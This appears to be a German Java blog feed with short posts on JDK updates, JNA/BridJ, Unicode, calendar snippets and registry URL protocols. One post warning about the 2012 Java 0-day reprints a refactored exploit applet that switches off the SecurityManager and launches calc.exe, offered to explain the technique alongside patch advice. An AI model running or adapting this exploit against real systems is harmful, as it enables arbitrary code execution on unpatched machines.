Habe gerade http://www.androidlost.com/ ausprobiert, und das ist ganz cool. Aber hoffentlich bleibt mein Handy bei mir …
Autor: Christian Ullenboom
Java-Sicherheitslücke nach 4 Monaten geschlossen
Nach dem nun herauskam, dass Oracle von der schweren Lücke schon seit April (!) wusste, hast sich das Unternehmen nun doch genötigt, ein Update zu veröffentlichen. Jeder ist angehalten, das 7u7 sofort (bzw. 6u35) sofort zu installieren.
- http://www.oracle.com/technetwork/topics/security/alert-cve-2012-4681-1835715.html
- http://www.oracle.com/technetwork/java/javase/7u7-relnotes-1835816.html
- http://www.oracle.com/technetwork/java/java-update-release-numbers-change-1836624.html
- http://www.techworld.com.au/article/435007/oracle_knew_about_currently_exploited_java_vulnerabilities_months_researcher_says/
- http://www.theregister.co.uk/2012/08/30/oracle_knew_about_flaws/
- http://www.java.com/de/download/chrome.jsp?locale=de
Achtung: Java 0-day Exploit, es ist ERNST
Auf meiner Google+ Seite hatte ich das schon kurz angesprochen: Es gibt eine Sicherheitslücke, die bisher auch schon ausgenutzt wird. Das ist ein ernstes Problem und jeder ist angehalten, Applets im Browser abzuknipsen. Da die meisten von uns vermutlich eh keine Applets benötigen, ist es sinnvoll, das ganz komplett für immer abzuschalten bzw. nur Ausnahmen zu erteilen (Chrome, siehe https://support.google.com/chrome/bin/answer.py?hl=de&answer=142064). Mehr News unter
- http://www.heise.de/security/artikel/Java-0-Day-unter-der-Lupe-1676764.html
- http://www.heise.de/newsticker/meldung/BSI-warnt-vor-hochkritischer-Java-Luecke-1677249.html
- http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html
- http://blog.fireeye.com/research/2012/08/java-zero-day-first-outbreak.html
Auf Basis des Exploits ttp://pastie.org/4594319 habe ich das Programm etwas umformuliert (refactored) und kompakter gestaltet, sodass es leichter ist, die Herangehensweise zu verstehen und nachzuvollziehen:
package cve2012xxxx; import java.applet.Applet; import java.awt.Graphics; import java.beans.Expression; import java.beans.Statement; import java.lang.reflect.Field; import java.net.*; import java.security.*; import java.security.cert.Certificate; public class Gondvv extends Applet { private static final long serialVersionUID = 1L; private void disableSecurity() throws Exception { Permissions localPermissions = new Permissions(); localPermissions.add( new AllPermission() ); CodeSource codeSource = new CodeSource( new URL( "file:///" ), new Certificate[]{} ); ProtectionDomain[] protectionDomains = { new ProtectionDomain( codeSource, localPermissions ) }; AccessControlContext localAccessControlContext = new AccessControlContext( protectionDomains ); Expression expr1 = new Expression( Class.class, "forName", new Object[]{ "sun.awt.SunToolkit" } ); expr1.execute(); Expression expr2 = new Expression( expr1.getValue(), "getField", new Object[]{ Statement.class, "acc" } ); expr2.execute(); Statement localStatement = new Statement( System.class, "setSecurityManager", new Object[1] ); ((Field) expr2.getValue()).set( localStatement, localAccessControlContext ); localStatement.execute(); } @Override public void init() { try { disableSecurity(); Runtime.getRuntime().exec( "calc.exe" ).waitFor(); } catch ( Throwable t ) { t.printStackTrace(); } } @Override public void paint( Graphics g ) { g.drawString( "Loading", 50, 25 ); } }
PFGrid SWT Komponenten
PFGrid SWT (http://www.pfgrid.com/Index_Eclipse.aspx) ist ein TreeList- und Grid-SWT-Widget mit einem dynamischen Renderer-Ansatz, so dass das Control wahlweise in Windows-XP, Vista- oder Office2007-style dargestellt werden kann.









Eigene Renderer sind einfach zu implementieren. Beliebige SWT- aber auch Swing-controls können als Cell-Editoren verwendet werden. Das Grid verfügt über Features wie Excel-cell-copy oder Outlook-like grouping für Spalten, was für SWT-Grids einzigartig ist. JFace-Viewer für Table- und Tree-Darstellungen runden das widget ab. PFGrid kann als Eclipse-Plugin aber auch als standalone-jar in jeder Java-Applikation verwendet werden. Neben dem PFGrid-Widget wird auch ein Outlook-like NavigationBar-Widget mitgeliefert. Es handelt sich um eine kommerzielle Bibliothek.
Snippet: NETSTAT in Java with command line call
import java.io.IOException; import java.util.*; import java.util.regex.Pattern; public class Netstat { public static class Protocoll { public String protocoll; public String localAddress; public String remoteAddress; public String status; public Protocoll( String protocoll, String localAddress, String remoteAddress, String status ) { this.protocoll = protocoll; this.localAddress = localAddress; this.remoteAddress = remoteAddress; this.status = status; } @Override public String toString() { return String.format( "%-6s %-22s %-22s %s", protocoll, localAddress, remoteAddress, status ); } } public static void main( String[] args ) throws IOException { for ( Protocoll p : netStat() ) System.out.println( p ); } public static Iterable<Protocoll> netStat() throws IOException { Collection<Protocoll> result = new ArrayList<>(); ProcessBuilder builder = new ProcessBuilder( "netstat", "-n" ); Process p = builder.start(); try ( Scanner scanner = new Scanner( p.getInputStream() ) ) { Pattern pattern = Pattern.compile( "(TCP|UDP)\\s+(\\S+)\\s+(\\S+)\\s+(\\S+)" ); while ( scanner.findWithinHorizon( pattern, 0 ) != null ) result.add( new Protocoll( scanner.match().group( 1 ), scanner.match().group( 2 ), scanner.match().group( 3 ), scanner.match().group( 4 ) ) ); } return result; } }
This leads to something like
TCP 127.0.0.1:16709 127.0.0.1:49159 HERGESTELLT
TCP 127.0.0.1:19872 127.0.0.1:49176 HERGESTELLT
TCP 127.0.0.1:49159 127.0.0.1:16709 HERGESTELLT
TCP 127.0.0.1:49176 127.0.0.1:19872 HERGESTELLT
TCP 127.0.0.1:49189 127.0.0.1:49190 HERGESTELLT
TCP 127.0.0.1:49190 127.0.0.1:49189 HERGESTELLT
BridJ
BridJ verfolgt den gleichen Ansatz wie JNA, kann also auch aus Java heraus nativen Code von C(++) und auch Objective-C ansprechen. Nur steht es als quelloffene Bibliothek nicht unter der LGPL, sondern unter der BSD/Apache-Lizenz. Zudem ist es aktueller, nutzt Generics (was es abhängig von Java 5 macht, JNA benötigt nur 1.4) und diverse Tricks, um noch performantere native Aufrufe zu realisieren. Auch kann es besser mit den Eigenschaften von C++ umgehen, wie virtuellen Methodenaufrufen, Vererbung und Templates „verstehen“. Regelmäßige Updates gibt es für die Systeme Windows (x86, x64), Linux (x86, x64, arm32), Mac OS X (x86, x64, PPC), Solaris 10 (x86, bald x64 und SPARC), Android 3.0 (ARMv5) und experimentell auf jailbroken iOS iPhones (ARM). Ob das ältere JNA oder BridJ besser ist, muss im Einzelfall evaluiert werden. JNAerator unterstützt ebenfalls BidJ zur Generierung der typisierten Schnittstellen und Übergabeobjekten.
JNA (Java Native Access)
Eine Bibliothek zum Ansprechen dynamischer Bibliotheken ohne JNA-Kontakt und damit ohne C(++)-Compiler ist JNA (Java Native Access). Beheimatet ist das Projekt unter https://github.com/twall/jna/ und es steht unter der Lizenzform LGPL. JNA benötigt nur das Archiv jna.jar im Klassenpfad und geht dann fast von selbst zur dynamischen Bibliotheken. Verschiedene Plattformen werden unterstützt, dazu zählen Windows, Linux und Mac OS X.
Zur dem Zugriff müssen allerdings Java-Schnittstellen als typisierte Versionen der nativen Funktionen deklariert werden, damit auch die Datentypen von der Java-Seite automatisch auf Datentypen der nativen Seite gemappt werden können. Die Dokumentation unter https://github.com/twall/jna/blob/master/www/GettingStarted.md eigt ein Beispiel (hier etwas gekürzt):
import com.sun.jna.*; public class HelloWorld { public interface CLibrary extends Library { CLibrary INSTANCE = (CLibrary) Native.loadLibrary( Platform.isWindows() ? "msvcrt" : "c", CLibrary.class ); void printf( String format, Object... args ); } public static void main( String[] args ) { CLibrary.INSTANCE.printf( "Hello, World\n" ); for ( int i = 0; i < args.length; i++ ) CLibrary.INSTANCE.printf( "Argument %d: %s\n", i, args[ i ] ); } }
Die Übertragung der Funktionen von der C-Seite in Java-Schnittstellen – wie CLibrary in dem Beispiel – kann auch mit JNAerator (http://code.google.com/p/jnaerator/) automatisiert werden.
Snippet: List all MessageDigest provider
Pattern digestPattern = Pattern.compile( "^(Alg\\.Alias\\.)?MessageDigest\\.(?<alg>(\\w|-)+)" ); for ( Provider p : Security.getProviders() ) { for ( Object o : Collections.list( p.keys() ) ) { for ( Matcher m = digestPattern.matcher( o.toString() ); m.find(); ) System.out.println( m.group("alg") ); } }
The result is:
SHA-1 SHA MD5 SHA-384 SHA-512 SHA1 SHA MD5 SHA-256 MD2
Also look at http://download.java.net/jdk8/docs/technotes/guides/security/StandardNames.html.
Unicode-Skripte
Neben den Unicode-Blöcken gibt es noch ein anderen Konzept, was vielleicht noch wichtiger als die Blöcke selbst sind: Unicode-Skripte. Darunter ist eine Gruppe von Zeichen für eine Sprache (in der Regel) zu verstehen.[1] Um den Unterschied zu Blöcken noch einmal zusammenzufassen:
· Ein Unicode-Block ist ein einfacher von-bis-Bereich, und Stellen können für die spätere Belegung leer sein.
· Ein Unicode-Skript enthält keine freien Positionen.
· Zeichen eines Unicode-Skripts können aus verschiedenen Unicode-Blöcken stammen.
· Zeichen aus einem Block können in verschiedenen Unicode-Skripten auftauchen.
Auch für Skripte bietet Java in der Klasse Character ein öffentliches statische innere Attribut, wobei das erst seit Java 7 existiert und Oracle hier ein moderneres enum gewählt hat. Character.UnicodeScript besteht aus einer Reihe von Konstanten, wobei die Namen nach ISO 15924[2] gewählt sind. Auch gibt es eine of(int) Methode um das Skript für ein Zeichen zu erfragen und ein UnicodeScript-Objekt kann über forName(String) mit einem Namen aufgebaut werden.
Auch wenn die Character und String-Klasse arm an weiteren Methoden zu den Unicode-Blöcken und Unicode-Skripten ist, gibt es doch Unterstützung von ganz anderer Stellen: Von den regulären Ausdrücken. Sie können testen, ob Zeichen in gewissen Skripten oder Blöcken sind und damit Zeichen in Teilstrings aufspüren, sie löschen und entfernen. (Wir springen nun thematisch etwas vor.) Die Syntax in den regulären Ausdrücken ist \p{script=Skriptname} bzw. \p{block=Blockname} (auch der Präfix Is oder In ist erlaubt ohne Nutzung vom script=/block=-Konstrukt). Achtung, Nicht alle Unicode-Skripts werden unterstützt!
Beispiel
Teste drei Zeichen, ob sie arabisch sind:
System.out.println( "ح".matches( "\\p{script=Arabic}" ) ); // true
System.out.println( "ح".matches( "\\p{IsArabic}" ) ); // true
System.out.println( "ש".matches( "\\p{IsArabic}" ) ); // false
System.out.println( "1".matches( "\\p{IsArabic}" ) ); // false
[1] Siehe auch http://www.unicode.org/reports/tr24/.
[2] http://unicode.org/iso15924/iso15924-codes.html
Unicode-Blöcke
Unicode-Zeichen gehören immer Blöcken an und bei denen ist teilweise immer etwa Platz, um nachrückende Zeichen noch aufnehmen zu können. Beim lateinischen Alphabet ist das nicht so wichtig, wohl aber bei mathematischen Sonderzeichen oder anderen Symbolen.
Die Klasse Character deklariert eine öffentliche statische finale Klasse UnicodeBlock mit einer Vielzahl von Unicode-Blöcken, die als öffentliche statische Variablen in UnicodeBlock deklariert sind und selbst vom Typ UnicodeBlock sind. Character.UnicodeBlock.BASIC_LATIN ergibt zum Beispiel so einen Block, allerdings ist der Typ nicht so ausdrucksstark, nur der Name kommt bei einem toString() dabei raus, aber nicht etwa in welchem Bereich die Zeichen liegen. Auch fehlt die Möglichkeit alle Zeichen aufzuzählen oder zu testen, ob ein Zeichen im Block liegt. Was jedoch der Typ UnicodeBlock bietet sind zwei statische Methoden of(int) und of(char), die als Fabrikfunktionen einen UnicodeBlock für ein gewisses Zeichen geben. Der ist-ein-Element-von-Test lässt sich also damit indirekt realisieren.
Beispiel. Gib die Namen der Unicode-Blöcke für einige Zeichen aus:
UnicodeBlock basicLatin = Character.UnicodeBlock.BASIC_LATIN;
System.out.println( basicLatin );
System.out.println( Character.UnicodeBlock.of( ‚ß‘ ) );
System.out.println( Character.UnicodeBlock.of( ‚\u263A‘ ) );
System.out.println( Character.UnicodeBlock.of( ‚\u20ac‘ ) );
System.out.println( Character.UnicodeBlock.of( 0x1D15E ) );
Das liefert BASIC_LATIN LATIN_1_SUPPLEMENT MISCELLANEOUS_SYMBOLS
CURRENCY_SYMBOLS MUSICAL_SYMBOLS.
Das Wissen um den Bereich ist immer hilfreich dann, wenn ein unbekannter Text zugeordnet werden soll, denn auf diese Weise lässt sich erahnen, ob der Text zum Beispiel auf lateinischen Buchstaben basiert, er arabisch, chinesisch oder japanisch (Kanji/Kana) ist.
JDK 8 Milestones
Nach http://openjdk.java.net/projects/jdk8/milestones sind das nun:
M1 2012/04/26 (b36)
117 Remove the Annotation-Processing Tool (apt)
M2 2012/06/14 (b43)
133 Unicode 6.1
M3 2012/08/02 (b50)
124 Enhance the Certificate Revocation-Checking API
130 SHA-224 Message Digests
131 PKCS#11 Crypto Provider for 64-bit Windows
Hier stehen wir, das soll kommen:
M4 2012/09/13
105 DocTree API
121 Stronger Algorithms for Password-Based Encryption
129 NSA Suite B Cryptographic Algorithms
M5 2012/11/29
106 Add Javadoc to javax.tools
110 New HTTP Client
111 Additional Unicode Constructs for Regular Expressions
112 Charset Implementation Improvements
113 MS-SFU Kerberos 5 Extensions
114 TLS Server Name Indication (SNI) Extension
119 javax.lang.model Implementation Backed by Core Reflection
122 Remove the Permanent Generation
128 BCP 47 Locale Matching
140 Limited doPrivileged
153 Launch JavaFX Applications
M6 2013/01/31 Feature Complete
101 Generalized Target-Type Inference
104 Annotations on Java Types
107 Bulk Data Operations for Collections
108 Collections Enhancements from Third-Party Libraries
109 Enhance Core Libraries with Lambda
115 AEAD CipherSuites
118 Access to Parameter Names at Runtime
120 Repeating Annotations
123 Configurable Secure Random-Number Generation
126 Lambda Expressions and Virtual Extension Methods
135 Base64 Encoding and Decoding
156 G1 GC: Reduce need for full GCs
160 Lambda-Form Representation for Method Handles
M7 2013/02/21 Developer Preview
2013/03/18 All Tests Run
2013/04/04 Rampdown start
2013/05/02 API/Interface Freeze
2013/05/16 Zero Bug Bounce
2013/06/13 Rampdown phase 2
M8 2013/07/05 Final Release Candidate
GA 2013/09/09 General Availability
Von Date-Time API nichts zu sehen!
Thema der Woche: @CheckForNull, @Nonnull
Null-Pointer-Exceptions sind eine Qual, da oftmals eine Referenzvariable null ist, die nicht null sein darf. Das kommt oft erst zur Laufzeit bei ganz besonderen Ausführungspfaden raus. Mit Annotationen kann man dem ein wenig entgegentreten, da man zum Einen gut dokumentiert was erlaubt ist und was nicht, und zum Anderen Analysetools erlaubt, sich die Ausführungspfade etwas genauer anzuschauen.
- Lade die Annotationen von JSR-305 von http://mvnrepository.com/artifact/com.google.code.findbugs/jsr305 und binde sie in den Klassenpfad ein.
- Lies http://www.sw-engineering-candies.com/blog-1/findbugstmwarningsbysamplenonnullandcheckreturnvalueofjsr-305.
- Kopiere das Beispiel in den Workspace.
- Stelle in Eclipse in den Warnings die Prüfung ein, siehe auch http://wiki.eclipse.org/JDT_Core/Null_Analysis. Achtung, stelle die Annotationen von den Paketen org.eclipse.jdt.annotation auf javax.annotation um!
- Probiere aus, welche Warnings in Eclipse was bedeuten.
- Welche Probleme tauchen plötzlich mit @NonNull auf?
- (Optional: Teste das mit FindBugs im Build.)
Design-Tipp: User sollten interne Fehler nicht sehen
Snippet: Kalender ausdrucken, Teil 2: von-bis
Die erste Version meines Kalenderprogramms druckte ein Kalender für ein Jahr. In Anwendungen dürfte häufiger vorkommen, dass es ein Start- und Enddatum gibt, das auch über Jahresgrenzen liegt. Das macht dieses Programm:
public static class CalLine
{
public int year;
public int weekOfYear;
public int month = -1; // 0 <= month <= 11
public int[] day = { -1, -1, -1, -1, -1, -1, -1 };
}
public static List<CalLine> calenderOfTheYear( Date start, Date end ) { Calendar startCal = new GregorianCalendar(); startCal.setTime( start ); Calendar endCal = new GregorianCalendar(); endCal.setTime( end ); return calenderOfTheYear( startCal, endCal ); } public static List<CalLine> calenderOfTheYear( Calendar start, Calendar end ) { List<CalLine> lines = new ArrayList<>(); // Calender instances are mutable, so copy them Calendar startCal = (Calendar) start.clone(); Calendar endCal = (Calendar) end.clone(); // For start date: first go backwards to the beginning of the month // then find monday of this week while ( startCal.get( Calendar.DAY_OF_MONTH ) != 1 ) startCal.add( Calendar.DAY_OF_YEAR, -1 ); while ( startCal.get( Calendar.DAY_OF_WEEK ) != Calendar.MONDAY ) startCal.add( Calendar.DAY_OF_YEAR, -1 ); // For end date: go forwards and find end of month // then find sunday of this week while ( endCal.get( Calendar.DAY_OF_MONTH ) != startCal.getActualMaximum( Calendar.DAY_OF_MONTH ) ) endCal.add( Calendar.DAY_OF_YEAR, 1 ); while ( endCal.get( Calendar.DAY_OF_WEEK ) != Calendar.SUNDAY ) endCal.add( Calendar.DAY_OF_YEAR, 1 ); endCal.add( Calendar.DAY_OF_YEAR, 1 ); // add 1 to test with < not <= CalLine line = new CalLine(); while ( startCal.before( endCal ) ) { if ( line.year == 0 ) line.year = startCal.get( Calendar.YEAR ); if ( line.weekOfYear == 0 ) line.weekOfYear = startCal.get( Calendar.WEEK_OF_YEAR ); int dayOfMonth = startCal.get( Calendar.DAY_OF_MONTH ); int dayOfWeek = startCal.get( Calendar.DAY_OF_WEEK ); if ( dayOfMonth == 1 ) line.month = startCal.get( Calendar.MONTH ); line.day[dayOfWeek - 1] = dayOfMonth; if ( dayOfWeek == Calendar.SUNDAY ) { // Days are Sun, Mon, ..., Sat. Rearange to Mon, ..., Sun int first = line.day[ 0 ]; // This is faster then System.arraycopy() line.day[ 0 ] = line.day[ 1 ]; line.day[ 1 ] = line.day[ 2 ]; line.day[ 2 ] = line.day[ 3 ]; line.day[ 3 ] = line.day[ 4 ]; line.day[ 4 ] = line.day[ 5 ]; line.day[ 5 ] = line.day[ 6 ]; line.day[ 6 ] = first; lines.add( line ); line = new CalLine(); // it ends always with SUN, last line is not added } startCal.add( Calendar.DAY_OF_YEAR, 1 ); } return lines; }
Beispielaufruf:
List<CalLine> lines = DateUtils.calenderOfTheYear( new GregorianCalendar( 2011, Calendar.NOVEMBER, 12 ), new GregorianCalendar( 2012, Calendar.JANUARY, 22 ) ); String[] monthNames = { "Jan", "Feb", "Mrz", "Apr", "Mai", "Jun", "Jul", "Aug", "Sep", "Okt", "Nov", "Dez" }; System.out.println( "KW Mo Do Mi Do Fr Sa So" ); // to lazy for DateFormatSymbols here... for ( CalLine l : lines ) { String monthStr = (l.month == -1) ? " " : monthNames[ l.month ]; String s = String.format( "%2d %s %(2d %(2d %(2d %(2d %(2d %(2d %(2d", l.weekOfYear, monthStr, l.day[0], l.day[1], l.day[2], l.day[3], l.day[4], l.day[5], l.day[6] ).replace( "(1)", " " ); System.out.println( s ); }
Das führt zu
KW Mo Do Mi Do Fr Sa So 44 Nov 31 1 2 3 4 5 6 45 7 8 9 10 11 12 13 46 14 15 16 17 18 19 20 47 21 22 23 24 25 26 27 48 Dez 28 29 30 1 2 3 4 49 5 6 7 8 9 10 11 50 12 13 14 15 16 17 18 51 19 20 21 22 23 24 25 52 Jan 26 27 28 29 30 31 1 1 2 3 4 5 6 7 8 2 9 10 11 12 13 14 15 3 16 17 18 19 20 21 22 4 23 24 25 26 27 28 29 5 Feb 30 31 1 2 3 4 5
Thema der Woche: Externe Programme starten, URL Protokoll unter Windows registrieren
Schreibe ein Java-Programm, welches per Kommandozeile eine Bug-ID annimmt, und dann die entsprechende Seite unter http://bugs.sun.com/ aufruft. Beispiel: Zur Bug-ID 6787890 soll der Browser http://bugs.sun.com/view_bug.do?bug_id=6787890 ansteuern.
Lies http://msdn.microsoft.com/en-us/library/aa767914(v=vs.85).aspx
Kopiere folgendes in eine temporäre Datei, ersetzte dabei YourApp mit etwas Eigenem und passe den Pfad korrekt auf unser Bug-ID-Öffnen-Programm an. Das Protokoll kann zum Beispiel “sunbugid” sein.
REGEDIT4
[HKEY_CLASSES_ROOT\YourApp]
@=“URL:YourApp Protocol“
„URL Protocol“=““
[HKEY_CLASSES_ROOT\YourApp\DefaultIcon]
@=“\“C:\\Program Files\\YourApp\\YourApp.exe\““
[HKEY_CLASSES_ROOT\YourApp\shell]
[HKEY_CLASSES_ROOT\YourApp\shell\open]
[HKEY_CLASSES_ROOT\YourApp\shell\open\command]
@=“\“C:\\Program Files\\YourApp\\YourApp.exe\“ \“%1\“ \“%2\“ \“%3\“ \“%4\“ \“%5\“ \“%6\“ \“%7\“ \“%8\“ \“%9\““
(Quelle http://stackoverflow.com/questions/389204/how-do-i-create-my-own-url-protocol-e-g-so)
Führe die Datei mit regedit aus.
Steht dann auf einer Webseite die URL sunbugid:6787890 sollte bei der Aktivierung des Links das eigene Java-Programm ein neues Browserfenster mit der Bug-Beschreibung aufkommen.
Über eine Reihe von Werten laufen, Ist-Element-von-Test
Rechts vom Doppelpunkt lässt sich auf die Schnelle ein Feld aufbauen, über welches das erweiterte for dann laufen kann.
for ( int prime : new int[]{ 2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31 } )
System.out.println( prime );
Das ist praktisch, um über eine feste Menge von Werten zu laufen. Das funktioniert auch für Objekte, etwa Strings:
for ( String name : new String[]{ "Krissy", "Morris", "Dan" } )
System.out.println( name );
Einige Programmierer verstecken die Objekterzeugung auch in einen Methodenaufruf:
for ( String name : Arrays.asList( "Krissy", "Morris", "Dan" ) )
System.out.println( name );
Arrays.asList(…) erzeugt kein Array als Rückgabe, sondern baut aus der variablen Argumentliste eine Sammlung auf, die von einem speziellen Typ Iterable ist – das kann auch die erweiterte for-Schleife ablaufen.
Unabhängig vom erweiterten for hat die Nutzung von Arrays.asList(…)noch einen anderen Vorteil, etwa bei ist-Element-von-Anfragen, etwa so:
if ( Arrays.asList( 1, 2, 3, 4, 5, 6, 7, 8, 10 ).contains( number ) )
…
java.net.ConnectException? Was tun?
Falls der Computer keinen direkten Internetzugriff hat, kommt es zu einem Timeout. Der übliche Fehler ist eine „java.net.ConnectException: Operation timed out“. Hier gilt zu prüfen, woher der Fehler kommt. Eine Fehlerquelle sind Proxies, die zwischen dem eigenen Rechner und dem Internet hängen. Proxy-Einstellungen können in Java gesetzt werden, wie im im Kapitel über Proxies in der Insel beschrieben. Eine gute Idee ist, mithilfe des Kommandozeilenprogramms telnet[1] die Erreichbarkeit eines Servers zu überprüfen. Es kann auch sein, dass die Verbindung grundsätzlich besteht, sie jedoch langsam ist, und Java aus Ungeduld aufgibt. Die Lösung ist dann, den Timeout hochzusetzen, etwa bei dem URLConnection-Objekt über setConnectTimeout(millis).
[1] Muss in einem aktuellen Windows erst aktiviert werden.
Snippet: Kalender des Jahres ausgeben
Angeregt durch den Compact Calendar (http://davidseah.com/compact-calendar/) wollte ich etwas ähnliches in meine Webanwendung einbauen, sodass das Ergebnis tabellenartig wie https://docs.google.com/spreadsheet/ccc?key=0AkyxK00VLnSidEl1SS1sZjZiVlpuRnJIY1JmUW9IRHc#gid=0 formatiert wird.
import java.text.DateFormatSymbols; import java.util.*; public class PrintCalender { public static class CalLine { int weekOfYear; int month = -1; // 0 <= month <= 11 int[] day = { -1, -1, -1, -1, -1, -1, -1 }; } public static List<CalLine> calenderOfTheYear( int year ) { Calendar cal = new GregorianCalendar( year, 1, 1 ); List<CalLine> lines = new ArrayList<>(); CalLine line = new CalLine(); for ( int dayOfYear = 1; dayOfYear <= cal.getActualMaximum( Calendar.DAY_OF_YEAR ); dayOfYear++ ) { cal.set( Calendar.DAY_OF_YEAR, dayOfYear ); line.weekOfYear = cal.get( Calendar.WEEK_OF_YEAR ); // Set several times, thats ok int dayOfMonth = cal.get( Calendar.DAY_OF_MONTH ); int dayOfWeek = cal.get( Calendar.DAY_OF_WEEK ); if ( dayOfMonth == 1 ) line.month = cal.get( Calendar.MONTH ); line.day[dayOfWeek - 1] = dayOfMonth; if ( dayOfWeek == Calendar.SUNDAY ) { lines.add( line ); line = new CalLine(); } } lines.add( line ); return lines; } public static void main( String[] args ) { List<CalLine> lines = calenderOfTheYear( 2012 ); String[] monthNames = new DateFormatSymbols( Locale.GERMANY ).getMonths(); System.out.println( "KW Mo Do Mi Do Fr Sa So" ); // to lazy for DateFormatSymbols here... for ( CalLine l : lines ) { String monthStr = (l.month == -1) ? " " : monthNames[ l.month ].substring( 0, 3 ); // Days are Sun, Mon, ..., Sat. Rearange to Mon, ..., Sun String s = String.format( "%2d %s %(2d %(2d %(2d %(2d %(2d %(2d %(2d", l.weekOfYear, monthStr, l.day[1], l.day[2], l.day[3], l.day[4], l.day[5], l.day[6], l.day[0] ).replace( "(1)", " " ); System.out.println( s ); } } }
Zur Demo gibt eine Textausgabe (mit einem Hack). Das Ergebnis für dieses Jahr:
kw mo do mi do fr sa so 52 jan 1 1 2 3 4 5 6 7 8 2 9 10 11 12 13 14 15 3 16 17 18 19 20 21 22 4 23 24 25 26 27 28 29 5 feb 30 31 1 2 3 4 5 6 6 7 8 9 10 11 12 7 13 14 15 16 17 18 19 8 20 21 22 23 24 25 26 9 mär 27 28 29 1 2 3 4 10 5 6 7 8 9 10 11 11 12 13 14 15 16 17 18 12 19 20 21 22 23 24 25 13 apr 26 27 28 29 30 31 1 14 2 3 4 5 6 7 8 15 9 10 11 12 13 14 15 16 16 17 18 19 20 21 22 17 23 24 25 26 27 28 29 18 mai 30 1 2 3 4 5 6 19 7 8 9 10 11 12 13 20 14 15 16 17 18 19 20 21 21 22 23 24 25 26 27 22 jun 28 29 30 31 1 2 3 23 4 5 6 7 8 9 10 24 11 12 13 14 15 16 17 25 18 19 20 21 22 23 24 26 jul 25 26 27 28 29 30 1 27 2 3 4 5 6 7 8 28 9 10 11 12 13 14 15 29 16 17 18 19 20 21 22 30 23 24 25 26 27 28 29 31 aug 30 31 1 2 3 4 5 32 6 7 8 9 10 11 12 33 13 14 15 16 17 18 19 34 20 21 22 23 24 25 26 35 sep 27 28 29 30 31 1 2 36 3 4 5 6 7 8 9 37 10 11 12 13 14 15 16 38 17 18 19 20 21 22 23 39 24 25 26 27 28 29 30 40 okt 1 2 3 4 5 6 7 41 8 9 10 11 12 13 14 42 15 16 17 18 19 20 21 43 22 23 24 25 26 27 28 44 nov 29 30 31 1 2 3 4 45 5 6 7 8 9 10 11 46 12 13 14 15 16 17 18 47 19 20 21 22 23 24 25 48 dez 26 27 28 29 30 1 2 49 3 4 5 6 7 8 9 50 10 11 12 13 14 15 16 51 17 18 19 20 21 22 23 52 24 25 26 27 28 29 30 1 31
Thema der Woche: Excel API
- Sieh das Video unter http://de.engadget.com/2012/08/13/stop-motion-musikvideo-aus-excel-tabellen/.
- Entscheide dich für eine Java Excel API
- Baue ein Excel-Sheet und setzte die Breite der Spalten so, dass die der Höhe entsprechen, 64 x 64 Zellen sind interessant.
- Zeichne eine vertikale Linie in hellblau von 1/1 nach 64/64.
- Setzte die Farbpalette so, dass sie Graustufen entsprechen.
- Lade ein beliebiges Bild, skaliere es auf 64 x 64 Pixel. Laufe das Bild Zeile für Zeile ab, konvertiere die Farben in Graustufen. Nutzte dazu toGray(Color) von http://introcs.cs.princeton.edu/java/31datatype/Luminance.java.html. Setze entsprechend die Zelle in der Excel-Tabelle.
Abbruch-Signale
Das Betriebssystem sendet beim Abbruch eines Programms Signale. Für Windows/Unix-Systeme sind das zum Beispiel INT (Abbruch z. B. mit Strg-C), TERM (Aufforderung zur Terminierung), BREAK (Break-Anforderung vom Termin), usw.
Java kann diese unterschiedlichen Feinheiten des Programmabbruchs nicht auswerten, jedenfalls nicht mit einer erlaubten API. Es gibt aber zwei Klassen sun.misc.Signal und sun.misc.SignalHandler, die verwendet werden können, wenn Entwickler sich der Konsequenzen bewusst sind, dass diese API in Zukunft verschwinden könnte. Die Nutzung sieht so aus:
class MySignalHandler implements SignalHandler {
public void handle( Signal signal ) { … }
}
String signalName = "TERM";
handler = Signal.handle( new Signal( signalName ), new MySignalHandler() );
Weitere Informationen auch zu den unterschiedlichen Signaltypen liefern http://stackoverflow.com/questions/5023520/sending-signals-to-a-running-jvm und die referenzierten Unterseiten.
